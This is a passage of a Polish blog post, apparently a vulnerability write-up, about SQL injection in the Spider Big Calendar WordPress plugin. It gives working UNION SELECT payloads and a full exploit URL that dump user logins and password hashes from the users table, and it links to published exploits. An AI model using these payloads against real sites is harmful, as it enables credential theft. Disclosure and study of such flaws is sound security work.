LUiVUWAYKJmgxVElXcyAT8PdVOxnin+2FFZCZFQeFVMu4Z4xpCenTeTpxM5oHLoKf6AMVRRTzB/iomKSjamLfwnd7LBf4TM6isgmU4doV/7LFCctninz7kjipMm4S3ayGlygbMSdZ3a+qvsiHe6HaVBSSWVjD9oUPy+OKUlr2iAhLhPCHzXBx/JH44U60TwcVeEmaAMDCXQkeB134mqXH6zBEnn6W/ZssWdspoQ0tbD8kOmbMTsEmOvlA+Iwv01SI91bh7g3aBDeI97PffEHAPFfTa0/L+a8X/nowB/DXBVgYy7DcgrWU4PjV6677gkMLw7UMgEV+mwrCLGkVhiJJTxn5D1nrmcd1Qdle0jotVemehmnvTliKfXzmScVSYoqqS9bQw109nafXZm3Bd5HvpJS1x23J9vUeMM/1rI6DalBdUEGfIcLspGB1E1R6pOBlYh53W+jLL+xhykx9WLZRkYmWKxdeHouuc1KPhyaf4pexoczNfGvI4nHnCElrg0soJru9chWa+YWoJeImpu3AxJnaSeRwcvsg+Rvxl0nvWHl8cbnFDqW9YAgCLSzQHUGmOx+orESO4HKXQtpRLiI+Zt/sG/8W/J7rNeCcn3LXnBSoZMER4VOHAS3hriaQKxn9CHBNP8yTqOqMu4nraWNOsV12aqr4KKkFllbTNun+MLr7hUP8amBIHH49dslSFNgIimPo2VaUoeocC9UC8gozzhncclamKgjbL8c7bljPurK6RHyxPenI/Uo2XHvcqJrKtxxJPJxePIW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" width="605" /></div>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Znamy już zatem
prefix instalacji WordPressa – możemy zatem spróbować pobrać
wszystkich użytkowników z tabelki.</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Należy jedynie
zmienić tabelkę z DUAL na rzeczywistą i podmienić 5 parametr:</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">1)
UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1, CONCAT(
CONCAT(user_login,CHAR(35, 35),user_pass)) 1,1,1,1, CHAR(110, 111,
95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM
wp2_users;--%20</span></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
W rezultacie
widzimy, że niestety w danym dniu pojawia się tylko pierwszy user –
dlatego zmodyfikujemy zapytanie aby pobrać wszystkich (login I
hasło) w jednym wierszu. Będziemy do tego potrzebowali sekcji GROUP
BY, funkcji GROUP_CONCAT() oraz zmiany jednego z niepotrzebnych nam
parametrów na sztuczną grupę o wspólnej wartości dla wszystkich
użytkowników:</div>
<blockquote class="tr_bq">
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">1)
UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1, GROUP_CONCAT( CONCAT(
CONCAT(user_login,CHAR(35, 35),user_pass))), 1,1,1,1, CHAR(110, 111,
95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 as fakeGroup FROM
wp2_users GROUP BY fakeGroup;--%20</span></div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<br /></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<span lang="en-US">Pełny
URL:</span></div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,%20GROUP_CONCAT(%20CONCAT(%20CONCAT(user_login,CHAR(35,%2035),user_pass))),%201,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20as%20fakeGroup%20FROM%20wp2_users%20GROUP%20BY%20fakeGroup;--%20&widget=0</span></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Poniżej
przykładowy exploit (napisany prawie na kolanie) wykorzystujący
podatność oraz zrzut ekranu z przykładem użycia I wynikiem pracy:</div>
<blockquote class="tr_bq">
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<a href="http://pastebin.com/qnTdVP0h" target="_blank">http://pastebin.com/qnTdVP0h</a></div>
Link do expliota na 1337day.com: <a href="http://1337day.com/exploit/description/23328">http://1337day.com/exploit/description/23328</a><br />
Link do exploida na exploit-db.com: <a href="http://www.exploit-db.com/exploits/36061/">http://www.exploit-db.com/exploits/36061/</a></blockquote>
<br />
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Poniżej zrzut
ekranu uruchomienia tego exploita na lokalnym komputerze.</div>
<img alt="" height="184" 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